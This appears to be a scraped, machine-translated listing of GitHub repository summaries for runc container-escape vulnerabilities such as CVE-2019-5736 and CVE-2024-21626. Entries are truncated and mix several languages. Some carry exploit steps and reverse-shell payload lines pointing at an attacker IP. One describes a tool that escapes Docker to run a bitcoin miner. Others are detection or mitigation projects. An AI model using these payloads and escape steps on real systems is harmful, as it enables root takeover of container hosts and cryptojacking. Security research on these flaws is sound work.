CVE-2024-21626

Эксплуатация: 1.git clone https://github.com/cdxiaodong/CVE-2024-21626 2.docker-compose up Проверка: если получен /etc/passwd хоста, значит уязвимость присутствует. Окружение: runc: =v1.0.0-rc93,=1.1.11 Принцип и детали атаки: В затронутых версиях runc во время инициализации происходит утечка...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

cve-2019-5736-poc

Заголовки, которые нужно добавить stage2.c bash include bash include Изменить IP атакующего ПК stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Создание Docker образа и контейнера root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sud...

CVE-2024-21626-old-docker-versions

Уязвимость побега из контейнера в старых компонентах runc CVE-2024-21626 В ходе моего анализа CVE-2024-21626 я обнаружил, что другие старые компоненты Docker также уязвимы к утечке fd что не упоминается в бюллетене безопасности GHSA-xr7r-f8xq-vfvv. Полное объяснение читайте в моей статье здесь. 1...

cve-2019-5736-poc

実行手順: 1. stage2.c 内の poc コマンドを編集 2. docker をビルド docker build -t cve . 3. docker を実行 docker run -d cve /bin/bash -c "tail -f /dev/null" 4. docker-runc をバックアップ cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. docker 内で実行 cd /root && ./run.sh && exit 7. dock...

Learn-about-cve-2025-31133-poc

Apprenez-en-plus-sur-cve-2025-31133-poc Aperçu Un environnement de démonstration et d'apprentissage de preuve de concept pour CVE-2025-31133 , une vulnérabilité de sécurité dans runc qui permet de contourner la protection maskedPaths via une condition de concurrence. Les maskedPaths sont conçus...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните:...

CVE-2024-21626-runcPOC

Воспроизведение уязвимости CVE-2024-21626 уязвимость побега из контейнера docker runc 1. Обзор уязвимости Имя уязвимости| Уязвимость побега из контейнера docker runc ---|--- Номер уязвимости| CVE-2024-21626 Дата раскрытия| 2024-01-31 Характеристика| / Затронутые версии| runc @ v1.0.0-rc93,1.1.11...

CVE-2019-5736

Использование Измените HOST внутри payload.c, скомпилируйте с помощью make. Запустите nc и выполните pwn.sh внутри контейнера. Примечания Этот эксплойт разрушителен: он перезапишет бинарный файл /usr/bin/docker-runc на хосте полезной нагрузкой. Он также перезапишет /bin/sh внутри контейнера...

cve_2019-5736-PoC

CVE-2019-5736 PoC Этот репозиторий содержит эксплойт класса proof-of-concept, написанный на C, для CVE-2019-5736. Эта уязвимость позволяет вредоносному Docker-контейнеру перезаписать бинарный файл runc на хост-системе и выполнять на ней произвольные команды с привилегиями root, полностью...

proxmox-lxc-docker-fix

Proxmox LXC AppArmor Fix for Docker/Containers Обходной путь для CVE-2025-52881 : Исправляет поломку Docker, Podman и других контейнерных рантаймов в LXC-контейнерах Proxmox, вызванную несовместимостью AppArmor с runc 1.2.7+/1.3.2+ 🚨 Проблема Недавние обновления безопасности runc версии 1.2.7+ и...

Docker-Escape-Miner

공개된 Docker 취약점을 이용하여 루트 권한 획득 및 비트코인 마이닝 스크립트 실행 이 도구는 두 개의 오픈 소스 라이브러리를 사용합니다: nightminer @ricmoo 제작 - 파이썬 비트코인 마이닝용 RunC-CVE-2019-5736 @twistlock 제작 - 도커 이스케이프용 시스템 요구사항 Kali Linux, Docker 버전 18.03.0 및 RunC 버전 1.0.0-rc5에서 테스트되었습니다. 실행 방법 1. 리포지토리를 클론하고 해당 디렉토리로 이동하세요. 2. ./setup을 실행하세요. 3...

CVE-2024-21262

레코드 CVEs 재현 전용. 관련 자료: LINK GITHUB1 GITHUB2 ISSUE 환경 확인 https://download.docker.com/linux/static/stable/x8664/에서 docker-24.0.6.tgz를 다운로드합니다. root@kitploit: sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf /usr/local/docker-24.0.6/docke...

Docker-breakout-runc

Выход из Docker через runc Оригинал: https://github.com/Frichetten/CVE-2019-5736-PoC. Этот репозиторий — просто мои эксперименты с PoC и попытка разобраться в работе эксплойта...

CVE-2024-21626

PoC уязвимости CVE-2024-21626 Полную статью с подробным объяснением читайте здесь. Связанная статья В ходе исследования CVE-2024–21626 я обнаружил уязвимость, которая была упущена в более старых версиях Docker и runC. Чтобы узнать больше о том, что я нашел, прочитайте следующую статью: «Изучение...

cve-2024-21626

CVE-2024-21626 Обзор Этот репозиторий содержит примеры кода для приложения, уязвимого к CVE-2024-21626, а также eBPF-гаджет для обнаружения попыток эксплуатации. Этот репозиторий был создан в рамках этой записи в блоге. Гаджет, используемый для обнаружения данной уязвимости, предназначен только д...

CVE-2024-21626

CVE-2024-21626 POC Требования runc 1.1.0 = 1.1.11 Установка уязвимой среды Разверните виртуальную машину с Ubuntu 20.04 и загрузите Docker, следуя их руководству root@kitploit: https://docs.docker.com/engine/install/ubuntu/ Замените пропатченную версию 'runc' в Docker на уязвимую Загрузите уязвим...

CVE-2026-31431-Container-Escape

CVE-2026-31431 コンテナエスケープ runC によるコンテナエスケープ...

CVE-2026-31431-Copy-Fail-Container-Escape

CVE-2026-31431-Copy-Fail-Container-Escape Демонстрация https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e Предварительные требования Контейнер, уязвимый к CVE-2026-31431 Настроенный healthcheck контейнера и известная команда healthcheck Получен root-доступ внутри...

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626 - runc Leaky Vessels Обзор Поле| Описание ---|--- CVE| CVE-2024-21626 Затронутый компонент| runc ≤ 1.1.11 Класс уязвимости| Побег из контейнера через утечку файлового дескриптора Псевдоним| Leaky Vessels Первопричина runc пропускает внутренний файловый дескриптор обычно fd/7,...